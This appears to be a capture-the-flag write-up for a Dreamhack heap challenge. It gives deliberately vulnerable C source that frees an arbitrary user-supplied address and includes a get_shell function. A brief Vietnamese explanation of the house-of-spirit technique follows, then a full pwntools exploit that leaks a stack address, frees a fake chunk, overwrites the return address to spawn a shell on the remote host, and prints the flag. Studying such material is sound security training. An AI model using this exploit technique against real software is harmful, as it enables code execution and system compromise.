#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
execve("/bin/sh", NULL, NULL);
}
int main() {
char name[32];
int idx, i, size = 0;
long addr = 0;
initialize();
memset(name, 0, sizeof(name));
printf("name: ");
read(0, name, sizeof(name)-1);
printf("%p: %s\n", name, name);
while(1) {
printf("1. create\n");
printf("2. delete\n");
printf("3. exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if(i > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[i] = malloc(size);
if(!ptr[i]) {
return -1;
}
printf("Data: ");
read(0, ptr[i], size);
i++;
break;
case 2:
printf("Addr: ");
scanf("%ld", &addr);
free(addr);
break;
case 3:
return 0;
default:
break;
}
}
return 0;
}
```
- ez thôi, tạo fake_chunk cho size hợp lí (đủ overflow), free fake_chunk rồi malloc lại size đó

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./house_of_spirit',checksec=False)
# p = process(exe.path)
p = remote('host3.dreamhack.games',17723)
def add(size,data):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'Size: ',str(size))
p.sendafter(b'Data: ',data)
def delete(addr):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'Addr: ',str(addr))
# gdb.attach(p,gdbscript='''
# b*main+87
# b*main+365
# b*main+420
# c
# ''')
# input()
payload = p64(0) + p64(0x111)
p.sendlineafter(b'name: ',payload)
stack = int(p.recvuntil(b':',drop=True),16)
log.info('stack leak: ' + hex(stack))
delete(stack+0x10)
payload = b'a'*40 + p64(exe.sym['get_shell'])
add(0x100,payload)
p.sendlineafter(b'> ',b'3')
p.interactive()
#DH{d351d8d936884dc4aaebb689e8a183b2}
```
>DH{d351d8d936884dc4aaebb689e8a183b2}